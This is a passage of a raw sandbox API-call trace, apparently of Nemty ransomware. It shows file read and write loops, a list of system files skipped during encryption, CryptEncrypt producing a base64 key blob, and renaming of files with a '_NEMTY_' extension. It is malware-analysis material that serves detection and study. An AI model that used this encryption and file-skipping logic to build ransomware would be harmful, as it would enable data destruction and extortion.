hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.940] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0116.949] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.949] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0116.949] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.949] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0116.958] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.958] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0116.959] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.959] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0116.968] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.968] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0116.968] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.968] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0116.977] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.977] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0116.977] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.978] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0116.987] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.987] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0116.987] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.987] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0116.996] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.996] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0116.997] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.997] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0117.006] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.006] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0117.006] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.006] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0117.016] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.016] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0117.016] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.016] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0117.022] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.022] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0117.022] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.022] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0117.028] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.028] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0117.028] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.028] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340330, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0117.028] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0117.028] CloseHandle (hObject=0xffffffff) returned 0 [0117.028] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404a0 [0117.028] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0117.029] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0117.029] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0117.029] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0117.029] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0117.029] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6343fe8 [0117.029] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6344090 [0117.029] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0117.029] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0117.029] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\modern_dot.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\modern_dot.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\modern_dot.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\modern_dot.png._nemty_kgobjgd_")) returned 0 [0117.029] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344090 | out: hHeap=0x4f90000) returned 1 [0117.029] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a0 | out: hHeap=0x4f90000) returned 1 [0117.029] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0117.029] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0117.029] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0117.029] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0117.029] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0117.029] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340288 | out: hHeap=0x4f90000) returned 1 [0117.029] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82a2b99d, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82a2b99d, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2880d64b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xb6a, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="modern_h.png", cAlternateFileName="")) returned 1 [0117.029] lstrcmpiW (lpString1="modern_h.png", lpString2=".") returned 1 [0117.029] lstrcmpiW (lpString1="modern_h.png", lpString2="..") returned 1 [0117.029] lstrcmpiW (lpString1="modern_h.png", lpString2="...") returned 1 [0117.029] lstrcmpiW (lpString1="modern_h.png", lpString2="windows") returned -1 [0117.029] lstrcmpiW (lpString1="modern_h.png", lpString2="$RECYCLE.BIN") returned 1 [0117.029] lstrcmpiW (lpString1="modern_h.png", lpString2="rsa") returned -1 [0117.029] lstrcmpiW (lpString1="modern_h.png", lpString2="NTDETECT.COM") returned -1 [0117.029] lstrcmpiW (lpString1="modern_h.png", lpString2="ntldr") returned -1 [0117.029] lstrcmpiW (lpString1="modern_h.png", lpString2="MSDOS.SYS") returned -1 [0117.029] lstrcmpiW (lpString1="modern_h.png", lpString2="IO.SYS") returned 1 [0117.029] lstrcmpiW (lpString1="modern_h.png", lpString2="boot.ini") returned 1 [0117.030] lstrcmpiW (lpString1="modern_h.png", lpString2="boot.ini") returned 1 [0117.030] lstrcmpiW (lpString1="modern_h.png", lpString2="AUTOEXEC.BAT") returned 1 [0117.030] lstrcmpiW (lpString1="modern_h.png", lpString2="ntuser.dat") returned -1 [0117.030] lstrcmpiW (lpString1="modern_h.png", lpString2="desktop.ini") returned 1 [0117.030] lstrcmpiW (lpString1="modern_h.png", lpString2="CONFIG.SYS") returned 1 [0117.030] lstrcmpiW (lpString1="modern_h.png", lpString2="RECYCLER") returned -1 [0117.030] lstrcmpiW (lpString1="modern_h.png", lpString2="BOOTSECT.BAK") returned 1 [0117.030] lstrcmpiW (lpString1="modern_h.png", lpString2="bootmgr") returned 1 [0117.030] lstrcmpiW (lpString1="modern_h.png", lpString2="programdata") returned -1 [0117.030] lstrcmpiW (lpString1="modern_h.png", lpString2="appdata") returned 1 [0117.030] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0117.030] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="modern_h.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0117.030] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="modern_h.png", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="modern_h.png", lpUsedDefaultChar=0x0) returned 12 [0117.030] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0117.030] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="modern_h.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0117.030] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="modern_h.png", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="modern_h.png", lpUsedDefaultChar=0x0) returned 12 [0117.030] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0117.030] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0117.030] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0117.030] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="modern_h.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0117.030] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="modern_h.png", cchWideChar=12, lpMultiByteStr=0x653ec20, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="modern_h.png", lpUsedDefaultChar=0x0) returned 12 [0117.030] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0117.030] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0117.030] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="modern_h.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0117.030] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="modern_h.png", cchWideChar=12, lpMultiByteStr=0x653ec58, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="modern_h.png", lpUsedDefaultChar=0x0) returned 12 [0117.030] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0117.030] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340288 [0117.030] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0117.030] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63401e0 [0117.030] Sleep (dwMilliseconds=0x5) [0117.044] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf9693150, dwHighDateTime=0x1d561e7)) [0117.044] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf9693150, dwHighDateTime=0x1d561e7)) [0117.045] GetLastError () returned 0x5 [0117.045] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0117.045] GetLastError () returned 0x5 [0117.045] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0117.045] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0117.045] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0117.045] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0117.045] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0117.045] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0117.045] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340330 [0117.045] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340330, pcchString=0x653e91c | out: pszString="TdzV/y4KLBVCCP+Pn4VE3pxK3c5SqS4R7Dq9QbbOonQ1GXeHP0d0wcm0unQLGGTX\r\nmdeP5X6yzdqKI4VkGOMU9tHlZe2QHLben9vgnBNpYKGhkYZTjZhORvda0XX+JzvZ\r\nJvTv31aGW0VR+tAcanrOOCAU9Fe4eLMqqoQQigZ9W4kf1Til1rJD9uP86DtDo1qi\r\n5BG3uVKZL9A3ifwNRUaRcR64Vhpe8I9bGAxtcvF0z85nUJ8mGzCQWzjPkQXcUwqQ\r\nJPgrkee2XAIZVOajUPlPScmS31yie7Fwe6M5MUrU37jc++guBigHg9IS52L/Odgj\r\nR4baHcGIKeVivgQNEr6BTQ==\r\n", pcchString=0x653e91c) returned 1 [0117.045] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0117.045] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0117.045] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0117.045] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0117.045] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340330 [0117.045] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0117.045] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\modern_h.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\modern_h.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0117.046] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0117.046] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0117.046] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.046] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0117.057] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.057] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0117.057] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.057] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0117.066] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.066] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0117.066] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.066] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0117.077] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.077] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0117.077] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.077] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0117.086] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.086] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0117.087] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.087] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0117.096] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.096] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0117.096] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.096] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0117.105] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.105] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0117.105] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.105] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, 